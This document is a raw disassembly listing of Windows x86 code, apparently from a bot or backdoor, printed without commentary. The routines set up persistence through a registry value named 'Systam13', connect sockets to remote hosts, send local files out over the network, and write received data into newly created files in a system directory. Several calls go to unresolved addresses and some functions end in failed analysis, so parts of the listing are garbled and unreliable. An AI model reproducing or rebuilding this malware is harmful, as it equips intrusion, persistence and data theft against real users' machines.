		add	esp, 24h
		inc	dword_4313B0
		pop	ebx

loc_40BEEE:				; CODE XREF: sub_40BE75+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40BE75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BEF5	proc near		; CODE XREF: sub_40EE72+5B58p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42DF90
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_444340

loc_40BF1F:				; CODE XREF: sub_40BEF5+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40BF5A
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42DF84
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 2Ch

loc_40BF5A:				; CODE XREF: sub_40BEF5+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_444EC0
		jl	short loc_40BF1F
		pop	edi
		pop	esi
		leave
		retn
sub_40BEF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF6D	proc near		; CODE XREF: sub_401000+9Ap
					; sub_4010B5+314p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 25E03BBh
		mov	ebx, offset dword_443A34
		mov	edi, 80h
		mov	esi, offset dword_43FA34

loc_40BF8F:				; CODE XREF: sub_40BF6D+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40BFA6
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BFA6:				; CODE XREF: sub_40BF6D+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40BF8F
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40BF6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFE1	proc near		; CODE XREF: sub_407BDE+15Bp
					; ___:00407F15p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4193FF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		leave
		retn
sub_40BFE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C00D	proc near		; CODE XREF: sub_40EE72+5A4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43FA34
		xor	ecx, ecx

loc_40C014:				; CODE XREF: sub_40C00D+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_443A34
		jl	short loc_40C014
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42DFC4
		jnz	short loc_40C044
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_40C044:				; CODE XREF: sub_40C00D+1Fj
		push	esi
		call	sub_40BF6D
		pop	ecx
		pop	esi
		retn
sub_40C00D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C04D	proc near		; CODE XREF: sub_402DD7+2AEp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43FA34

loc_40C053:				; CODE XREF: sub_40C04D+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40C068
		push	[esp+4+arg_0]
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C07A

loc_40C068:				; CODE XREF: sub_40C04D+9j
		add	esi, 80h
		cmp	esi, offset dword_443A34
		jl	short loc_40C053
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40C07A:				; CODE XREF: sub_40C04D+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40C04D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C07F	proc near		; DATA XREF: sub_40EE72+5B02o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40C0D2
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42E018
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C0D2:				; CODE XREF: sub_40C07F+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40C0F2
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40C0F2
		mov	[ebp+var_8], eax

loc_40C0F2:				; CODE XREF: sub_40C07F+5Aj
					; sub_40C07F+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43FA34

loc_40C0FB:				; CODE XREF: sub_40C07F+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40C155
		cmp	byte ptr [esi],	0
		jz	short loc_40C144
		cmp	[ebp+var_98], 0
		jz	short loc_40C12A
		cmp	[ebp+var_4], 0
		jnz	short loc_40C12A
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_40A96F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40C144

loc_40C12A:				; CODE XREF: sub_40C07F+90j
					; sub_40C07F+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C144:				; CODE XREF: sub_40C07F+87j
					; sub_40C07F+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_443A34
		jl	short loc_40C0FB

loc_40C155:				; CODE XREF: sub_40C07F+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42DFEC
		push	eax
		call	sub_4172B0
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40C18F
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40D679
		add	esp, 14h

loc_40C18F:				; CODE XREF: sub_40C07F+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0000h
		pop	edi
		pop	esi
sub_40C07F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C1AE	proc near		; CODE XREF: sub_40AC42+1Ep
					; ___:0040E9EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42E038
		xor	esi, esi
		mov	ebx, offset aSystam13 ;	"Systam13"

loc_40C1C1:				; CODE XREF: sub_40C1AE+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_43F61C
		cmp	[ebp+arg_0], esi
		jz	short loc_40C1FB
		push	[ebp+arg_0]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_43F68C
		jmp	short loc_40C205
; ---------------------------------------------------------------------------

loc_40C1FB:				; CODE XREF: sub_40C1AE+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_43F5D4

loc_40C205:				; CODE XREF: sub_40C1AE+4Bj
		push	[ebp+var_4]
		call	dword_43F644
		add	edi, 8
		cmp	edi, offset dword_42E050
		jb	short loc_40C1C1
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C1AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C21E	proc near		; CODE XREF: sub_40C259+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40C253
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_40C237:				; CODE XREF: sub_40C21E+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_424298[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40C237
		pop	edi
		pop	ebx

loc_40C253:				; CODE XREF: sub_40C21E+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40C21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C259	proc near		; CODE XREF: sub_40CAF1+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417B89
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4179A8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40C2A8

loc_40C27E:				; CODE XREF: sub_40C259+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40C2AC
		inc	ebx
		push	ebx
		push	esi
		call	sub_41944F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40C2A8
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_418A86
		add	esp, 10h
		jmp	short loc_40C27E
; ---------------------------------------------------------------------------

loc_40C2A8:				; CODE XREF: sub_40C259+23j
					; sub_40C259+39j
		xor	eax, eax
		jmp	short loc_40C2C7
; ---------------------------------------------------------------------------

loc_40C2AC:				; CODE XREF: sub_40C259+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40C21E
		push	esi
		mov	ebx, eax
		call	sub_417C3B
		push	edi
		call	sub_417900
		add	esp, 10h
		mov	eax, ebx

loc_40C2C7:				; CODE XREF: sub_40C259+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2CB	proc near		; CODE XREF: sub_40C351+33p
					; sub_40C8B4+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_43F6E8
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40C347
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_43F668
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_43F6A8
		cmp	eax, esi
		jnz	short loc_40C32C
		push	[ebp+arg_0]
		call	dword_43F6EC
		test	eax, eax
		jz	short loc_40C347
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_40C32C:				; CODE XREF: sub_40C2CB+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, esi
		jnz	short loc_40C34B
		push	edi
		call	dword_43F700

loc_40C347:				; CODE XREF: sub_40C2CB+1Bj
					; sub_40C2CB+58j
		mov	eax, esi
		jmp	short loc_40C34D
; ---------------------------------------------------------------------------

loc_40C34B:				; CODE XREF: sub_40C2CB+73j
		mov	eax, edi

loc_40C34D:				; CODE XREF: sub_40C2CB+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40C2CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C351	proc near		; DATA XREF: sub_40EE72+A88o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_40C2CB
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C3E4
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E0D4
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C3C7
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C3C7:				; CODE XREF: sub_40C351+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0000h

loc_40C3E4:				; CODE XREF: sub_40C351+3Fj
		push	offset byte_43C80C
		push	ebx
		call	sub_40B56C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40C44F
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E094
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_40C42B
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C42B:				; CODE XREF: sub_40C351+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43F700
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0000h

loc_40C44F:				; CODE XREF: sub_40C351+A3j
		push	64h
		call	near ptr 25D0CB3h
		nop
		xor	edi, edi
		mov	esi, 1000h

loc_40C45E:				; CODE XREF: sub_40C351+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		test	eax, eax
		jle	short loc_40C4BB
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C4BB
		push	64h
		nop
		call	near ptr 25D0CB3h
		push	7
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	short loc_40C45E

loc_40C4BB:				; CODE XREF: sub_40C351+130j
					; sub_40C351+154j
		lea	eax, [ebp+var_11B4]
		push	offset dword_42E050
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_40C4EE
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_40D679
		add	esp, 14h

loc_40C4EE:				; CODE XREF: sub_40C351+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	ebx
		call	dword_43F700
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 25D0000h
sub_40C351	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C512	proc near		; DATA XREF: sub_40EE72+4A7Eo

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_40C560
		push	offset dword_42E258
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C560:				; CODE XREF: sub_40C512+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_43F668
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_43F694
		test	eax, eax
		jz	short loc_40C59E
		push	offset dword_42E224
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C59E:				; CODE XREF: sub_40C512+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_43F60C
		push	[ebp+var_2E]
		call	dword_43F5A4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_417AB0
		pop	ecx

loc_40C5D0:				; CODE XREF: sub_40C512+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_40C5E3
		push	5Fh
		pop	eax
		jmp	short loc_40C5E6
; ---------------------------------------------------------------------------

loc_40C5E3:				; CODE XREF: sub_40C512+CAj
		movsx	eax, al

loc_40C5E6:				; CODE XREF: sub_40C512+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_40C5D0
		push	ebx
		push	edi
		call	dword_43F690
		test	eax, eax
		jz	short loc_40C619
		push	offset dword_42E0D4
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C619:				; CODE XREF: sub_40C512+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	near ptr 2610691h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40C643
		push	offset dword_42E1F4
		jmp	loc_40C719
; ---------------------------------------------------------------------------

loc_40C643:				; CODE XREF: sub_40C512+125j
		push	esi
		push	eax
		nop
		call	near ptr 2650000h
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		push	eax
		call	dword_43F664
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E1DC
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_43F650
		test	eax, eax
		jg	short loc_40C6F3
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_42E1B4
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		jmp	loc_40C817
; ---------------------------------------------------------------------------

loc_40C6F3:				; CODE XREF: sub_40C512+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_43F6FC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_40C72C
		push	offset dword_42E180

loc_40C719:				; CODE XREF: sub_40C512+49j
					; sub_40C512+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40C81A
; ---------------------------------------------------------------------------

loc_40C72C:				; CODE XREF: sub_40C512+200j
		push	edi
		call	dword_43F700
		cmp	[ebp+arg_0], esi
		jz	loc_40C7DE
		mov	edi, 400h

loc_40C741:				; CODE XREF: sub_40C512+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_40C74E
		mov	[ebp+var_4], eax

loc_40C74E:				; CODE XREF: sub_40C512+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		nop
		call	near ptr 25F1127h
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_43F6B8
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_43F680
		cmp	eax, ebx
		jl	loc_40C873
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_40C873
		sub	[ebp+arg_0], eax
		jnz	loc_40C741
		mov	edi, [ebp+var_18]

loc_40C7DE:				; CODE XREF: sub_40C512+224j
		push	[ebp+var_8]
		call	near ptr 25F1A27h
		nop
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		push	[ebp+var_44]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_42E130
		push	eax
		call	sub_4172B0

loc_40C817:				; CODE XREF: sub_40C512+1DCj
		add	esp, 14h

loc_40C81A:				; CODE XREF: sub_40C512+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_40C83F
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		add	esp, 14h

loc_40C83F:				; CODE XREF: sub_40C512+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_40BF6D
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40C857
		push	edi
		call	dword_43F700

loc_40C857:				; CODE XREF: sub_40C512+33Cj
		push	[ebp+var_1F8]
		call	dword_43F700
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 25D0000h
		nop

loc_40C873:				; CODE XREF: sub_40C512+2AFj
					; sub_40C512+2BAj
		push	esi
		mov	esi, offset dword_42E108
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_40D679
		push	esi
		call	sub_40BF6D
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_43F700
		push	[ebp+var_58]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25D0000h
sub_40C512	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8B4	proc near		; DATA XREF: sub_40EE72+7C0o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		nop
		call	near ptr 25E0000h
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	near ptr 2610691h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C93E
		push	offset dword_42E350
		jmp	short loc_40C984
; ---------------------------------------------------------------------------

loc_40C93E:				; CODE XREF: sub_40C8B4+81j
		push	eax
		nop
		call	near ptr 25F1A27h
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40C966
		push	offset dword_42E310
		jmp	short loc_40C984
; ---------------------------------------------------------------------------

loc_40C966:				; CODE XREF: sub_40C8B4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C2CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40C997
		push	offset dword_42E2E0

loc_40C984:				; CODE XREF: sub_40C8B4+88j
					; sub_40C8B4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40CA93
; ---------------------------------------------------------------------------

loc_40C997:				; CODE XREF: sub_40C8B4+C9j
		mov	esi, 1000h

loc_40C99C:				; CODE XREF: sub_40C8B4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
